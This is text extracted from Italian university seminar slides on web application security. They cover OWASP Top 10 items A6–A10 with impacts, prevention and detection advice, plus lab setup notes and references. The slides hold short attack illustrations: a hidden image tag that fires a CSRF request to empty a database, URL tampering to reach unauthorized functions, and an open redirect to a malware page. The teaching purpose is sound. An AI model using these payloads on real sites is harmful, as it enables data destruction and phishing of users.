Utilizzo di scanner automatici (nmap, openvas, nessus, etc)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
87
A6 – Sensitive Data Exposure
●
La vulnerabilità
–
●
Spesso le informazioni riservate (comprese le credenziali) non
sono crittografate, alle volte gli algoritmi o le chiavi utilizzate
sono banali
Vettori d'attacco
–
Dati memorizzati in chiaro
–
Se i dati sono crittografati, raramente viene attaccata la
crittografia. Sono piuttosto attaccati:
●
●
●
il browser
le chiavi
il trasporto
25 novembre 2014
Università degli Studi di Verona
→ insicuro o usato irresponsabilmente
→ troppo semplici, gestite in modo insicuro
→ in chiaro o “chiarificabile”
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
88
A6 – impatti
●
Difficoltà di sfruttamento: difficile
–
●
Impatto tecnico: grave
–
●
Nel caso di dati crittografati
Spesso la compromissione riguarda tutti i dati che
sarebbero dovuti essere protetti: se come chiave uso
“PIPPO123” che senso ha farne due per due diversi tipi di
dato?!
Impatto di business: non determinato
–
Considerare il valore della riservatezza delle informazioni,
le responsabilità legali, ed il danno alla reputazione
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
89
A6 – scenari d'attacco
●
●
●
Crittografia delle informazioni usando le funzioni native del
database (Transparent Data Encryption). Questo implica
l'averle crittografate sul supporto ed in chiaro quando
richieste. Anche nel caso di SQL injection.
Mancato utilizzo di crittografia sul canale per tutta la durata
della sessione, ma solo per la fase di autenticazione.
Le credenziali sono salvate a database con hash semplice e
non salate (utilizzo di hash precalcolati o rainbow tables).
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
90
A6 - prevenzione
●
●
●
●
Nulla di ciò che non c'è può essere rubato. Non salvare dati
confidenziali non necessari o distruggerli il prima possibile.
Utilizzare crittografia forte di tutti i dati confidenziali sia sul
database che in transito
Utilizzare le funzioni crittografiche corrette! Per le password
usare key derivation functions: bcrypt, PBKFD2 o scrypt.
Disabilitare le funzioni di autocompletamento per i form che
gestiscono dati confidenziali e quelle di caching per le pagine
che li contengono.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
91
A6 – rilevazione
●
●
●
●
●
Definire quali dati sono da considerarsi confidenziali (!!!)
Definire le funzioni crittografiche da utilizzare per le diverse
tipologie di dato confidenziale
Verificare che le chiavi eventualmente generate siano robuste,
gestite in maniera sicura e sia possibile sostituirle (!)
Verificare che i dati al primo punto siano crittografati sia a
database che in transito come stabilito nel secondo punto
Verificare che, per ogni pagina, siano inviate ai browser
direttive adeguate alla protezione dei dati in esse contenuti.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
92
A7 – Missing Function Level Access Control
●
●
La vulnerabilità
–
Analoga ad A4: Si verifica quando l'applicazione permette
la chiamata di funzioni protette senza verificare che l'utente
abbia i permessi di autorizzazione necessari a chiamarle.
–
Nota: quello che solitamente accade è che le funzioni non
permesse sono escluse dalla UI, ma se richiamate, si
eseguono.
Vettori d'attacco
–
Manipolazione di URL o parametri a funzioni protette da
parte di utenti autenticati e non
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
93
A7 – impatti
●
Difficoltà di sfruttamento: semplice
●
Impatto tecnico: medio
–
●
Permesso di accesso a funzioni non autorizzate /
amministrative
Impatto sul business: non determinato
–
Proporzionale al valore di business delle funzioni esposte e
dei dati che manipolano
–
Considerare anche l'impatto sulla reputazione nel caso di
pubblicazione della falla
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
94
A7 – esempi
●
●
Un utente non autenticato può accedere ad una pagina per la
che richiede autenticazione, digitandone l'URL, ad esempio:
–
non può superare
www.sito.it/benvenuto.php
–
ma può richiamare
www.sito.it/mostra_qualcosa.php
Un utente autenticato può eseguire funzioni non mostrate
nell'interfaccia, che richiedono autorizzazione superiore,
modificando URL e parametri
–
dalla pagina
www.sito.it/mostra_qualcosa.php
–
alla pagina
www.sito.it/modifica_qualcosa.php
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
95
A7 – esempi
●
Una pagina contiene un parametro “azione” che specifica la
funzione da eseguire, il livello di autorizzazione non viene
verificato:
–
dalla pagina
www.sito.it/gestisci.cgi?azione=mostra
–
alla pagina
www.sito.it/gestisci.cgi?azione=modifica
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
96
A7 – prevenzione
●
●
●
●
Utilizzare un modulo specifico, anche esterno, per gestire
l'autorizzazione
–
con un interfaccia semplice
–
che permetta di essere richiamato da tutte le funzioni
Prevedere una gestione dei permessi semplice da modificare
e verificare. Evitare l'hard coding
Applicare il divieto di esecuzione come policy di default. Prima
di concedere l'esecuzione di funzioni, richiedere autorizzazioni
esplicite date da regole specifiche
Nel caso di anomalia nella verifica (fallimento di un controllo),
chiudere la sessione.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
97
A7 – esempio sicuro
●
Contrariamente ad A4 la verifica avviene a livello di funzione
1. function funzione_amministrativa(id_sessione, …) {
2.
aut_rich = CO_LIVELLO_AUTH_PER_DISTRUZIONE_DEL_PIANETA;
3.
if verifica_autorizzazione(id_sessione, aut_rich) {
4.
tutto_ok_procedi();
5.
} else {
6.
biasima_utente_e_disconnetti(id_sessione);
7.
}
8. }
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
98
A7 - rilevazione
●
Il metodo più rapido è quello di verificare come viene
permessa l'esecuzione di ogni funzione:
–
L'interfaccia grafica nasconde le funzioni per le quali
l'utente non dispone di autorizzazione?
–
Le funzioni effettuano una verifica di autorizzazione prima
dell'esecuzione?
–
Le verifiche sono fatte su informazioni residenti sul server
o utilizzano dati inviati dall'utente?
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
99
A8 – Cross-site Request Forgery (CSRF)
●
●
La vulnerabilità
–
Si verifica quando è possibile prevedere ogni parametro
richiesto per effettuare una specifica chiamata a funzione.
–
In questo caso è possibile far eseguire operazioni non
volute al browser di un utente legittimo
Vettori d'attacco
–
Iniezione di richieste HTTP forgiate via tag d'immagine,
XSS, iframe o altre tecniche
–
Hanno successo ogni qual volta l'utente è già autenticato
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
100
A8 – Impatti
●
Difficoltà di sfruttamento: media
●
Impatto tecnico: medio
–
●
Per quanto distruttive, l'attaccante può far eseguire solo
funzioni cui l'utente è autorizzato
Impatto sul business: non determinato
–
Considerare l'importanza a livello di business dei dati
trattati
–
Considerare l'importanza di non essere certi dell'effettiva
intenzione dell'utente e la sua sfiducia nell'applicazione
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
101
A8 – Esempio
●
L'utente è autenticato sul sito e visita (volontariamente o
meno) una pagina del sito dell'attaccante contenente:
<img src='www.sito.it/esegui=vuota_db'
width='0'
height='0'>
●
All'invio della richiesta HTTP, il browser includerà
automaticamente le informazioni di sessione dell'utente sul
sito www.sito.it e la funzione verrà eseguita
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
102
A8 – Prevenzione
●
●
●
Includere un token unico e casuale in ogni pagina che
preveda interazione da parte dell'utente, inserendolo in un
campo nascosto e verificandolo ad ogni richiesta ricevuta
Richiedere ri-autenticazione o prova di umanità (captcha), per
le funzioni più delicate
Ricordarsi di applicare timeout di sessione con tempi
inversamente proporzionali al livello di autorizzazione degli
utenti
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
103
A8 - rilevazione
●
●
●
Verificare se ogni link o modulo include un campo contenente
un token unico, dinamico e non calcolabile
Assicurarsi che le funzioni chiamate verifichino il token (!)
Form e link che invocano sulle funzioni che alterano lo stato
dei dati sono le prime a dover essere verificate
–
●
In caso di limiti di tempo o budget concentrarsi su queste
Ricordare che, per prevenire attacchi del tipo CSRF, non si
può fare affidamento su cookies o indirizzi IP di provenienza
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
104
A9 – Using Components With Known Vulnerabilities
●
La vulnerabilità
–
●
Si verifica quando l'applicazione fa uso di componenti
esterne, librerie, framework, loro dipendenze o altri moduli
che sono affetti da vulnerabilità note
Vettori d'attacco
–
Variabili a seconda delle componenti utilizzate
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
105
A9 – impatti
●
Difficoltà di sfruttamento: media
●
Impatto tecnico: moderato
–
●
In base alla tipologia di vulnerabilità ed al ruolo del
componente vulnerabile all'interno del sistema, può portare
da effetti triviali al possesso completo del server ed alla
compromissione di ogni dato in esso contenuto
Impatto sul business: non determinato
–
Considerare il danno derivante dalla compromissione
dell'intero sistema
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
106
A9 – scenari d'attacco
●
●
Dipendono dalle componenti installate e sono i più disparati
L'aspetto da tenere sempre in considerazione è che per
l'esecuzione delle componenti esterne non è quasi mai
applicato il principio del privilegio minimo
–
Le componenti esterne sono quasi sempre eseguite con
privilegi completi o comunque molto alti
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
107
A9 – prevenzione
●
Assicurarsi di tenere ogni componente del sistema aggiornato
all'ultima versione stabile e compatibile con il resto del
sistema
–
Identificare ogni componente utilizzata e le relative
dipendenze e le loro modalità di aggiornamento
–
Monitorare la sicurezza delle stesse su database pubblici
(CVE, NVD), ML dei rispettivi progetti, ML di sicurezza
–
Stabilire policy per l'utilizzo di componenti esterne
●
●
●
essere sviluppate seguendo pratiche di sviluppo sicure
superamento di test di sicurezza definiti
sensibilità del produttore alle tematiche di sicurezza
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
108
A9 – rilevazione
●
●
●
Enumerare tutte le componenti, librerie, dipendenze,
framework, moduli esterni utilizzati (nome, versione e
sviluppatore) e punti in cui vengono richiamate
Ricercare vulnerabilità note per gli stessi sui database CVE e
NVD
Valutare se il proprio codice fa uso delle porzioni di codice del
componente contenenti le vulnerabilità trovate
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
109
A10 – Unvalidated Redirects and Forwards
●
La vulnerabilità
–
●
Avviene quando l'applicazione redirige o inoltra l'utente
verso un'altra pagina o sito utilizzando, senza validarli, dati
non fidati per determinare la destinazione
Vettori d'attacco
–
Collegamenti malevoli inviati all'utente, che li utilizza senza
senza preoccupazioni, in quanto puntano a siti validi / fidati
–
Nota: questa vulnerabilità è molto efficace per il phishing,
in quanto fa leva sulla fiducia che l'utente ripone nel sito!
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
110
A10 – impatti
●
Difficoltà di sfruttamento: media
●
Impatto tecnico: moderato
–
●
Possono portare all'installazione di malware o alla
divulgazione di password o altri dati confidenziali e quindi
al bypass dei controlli di autenticazione
Impatto sul business: non determinato
–
Considerare il valore della fiducia da parte dell'utente
–
Pensare ai casi di infezione da malware o accesso a
funzioni protette da parte di terzi
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
111
A10 – esempi
●
L'applicazione usa una pagina per il redirect che attende in
input il parametro to contenente l'URL di destinazione
www.sito.it/go.cgi?to=www.malware.ru/get_malware.html
●
L'applicazione usa forward per ruotare le richieste da una
pagina all'altra del sito usando il parametro fwd per
determinare dove inviare l'utente al termine dell'elaborazione:
http://www.sito.it/funzione1.cgi?fwd=funzione2.cgi
●
In questo caso è possibile dirottare l'utente verso un sito
malevolo o anche verso funzioni interne normalmente non
disponibili all'utente
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
112
A10 – prevenzione
●
●
●
Evitare l'uso di redirect e forward (sono i goto del web!)
Non utilizzare parametri passati dall'utente (non fidati) per il
calcolo delle destinazioni
Se i parametri passati dall'utente sono necessari
–
validarli e verificare le autorizzazioni per la destinazione
–
preferire il mapping di destinazioni, evitando l'inserimento
esplicito di URL, parti di URL o nomi di funzioni (vedere A4)
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
113
A10 - rilevazione
●
●
●
Ricercare nel codice tutti i redirect e forward (transfers in .Net)
Analizzare il sito dall'esterno e cercare tutti i redirect a livello
HTTP (codice 3xx)
Per entrambi verificare se la destinazione (o parte di essa) fa
parte dei parametri passati dall'utente ed in tal caso se sono
validati ed è verificata l'autorizzazione
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
114
Superficie d'attacco...
www.draw-shapes.de
web server
web service
www.draw-shapes..de
firewall
draw-shapes.de
client
utente/sistma
database
controllo
accessi
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
autenticazione
115
… e suo sfruttamento
XML
Injection
www.draw-shapes.de
CSRF
Clickjacking
www.draw-shapes..de
XSS
client
utente/sistma
Param.
Tampering
Packet
Sniffing
firewall
web server
Sensitive
Data Exp
draw-shapes.de
Security
Misconfig
Directory
Traversal
SQL
Injection
database
Direct Obj
Ref
controllo
accessi
25 novembre 2014
Università degli Studi di Verona
web service
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
Token
forgery
LDAP
Injection
autenticazione
116
It's lab time!
Abbiamo finito.
Chi vuole fare un po' di laboratorio?
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
117
Laboratorio
●
Editare il file di hosts come amministratore/root
–
Windows
C:\WINDOWS\system32\drivers\etc\hosts
–
Mac OS X
/private/etc/hosts
–
Linux
/etc/hosts
INDIRIZZO_IP
●
●
target
Puntare il browser verso: http://target/
Evitate di fare danni a gratis, altrimenti dobbiamo riavviare la
macchina condivisa e perdere un sacco di tempo. Grazie.
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
118
Qualche riferimento
●
OWASP – Documenti citati nella presentazione e gli Cheat Sheet.
●
P. Litwin – Stop SQL Injection Attacks Before They Stop You – Microsoft MSDN
●
B. Damele – Advanced SQL injection to operating system full control – 2009
●
Defuse Security – Password Hashing Security: Salted Password Hashing – Doing it
right – 2013
●
R. Ivgi – XSS : Cross Site Scripting - Exposed - Why, How, When, Where!
●
E. Benoist – Broken Authentication and Session Management – 2012
–
In realtà Benoist è svizzero ed ha erroneamente scritto “Brocken” invece che
“Broken” nel titolo della versione 2012 del documento.
●
K. Kuliukas – How Rainbow Tables work
●
B. Hardin – Series about the Owasp Top 10 – 2009
●
Euorpean Commission – Cybersecurity Strategy of the European Union – 2013
●
●
Presidenza del Consiglio dei Ministri – Quadro strategico nazionale per la sicurezza
dello spazio cibernetico – 2013
Laboratori virtuali disponibili: OWASP Webgoat, w4pt (web for pen testers),
Offensive security Metasploitable, Damn Vulnerable Linux
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
119
Sicurezza informatica
Università degli Studi di Verona
Corso di Laurea Magistrale in Informatica
Seminario sulla sicurezza delle applicazioni web
Andrea Zwirner
[email protected]
@AndreaZwirner
25 novembre 2014
Università degli Studi di Verona
Andrea Zwirner – Linkspirit
Seminario sulla sicurezza delle applicazioni web
120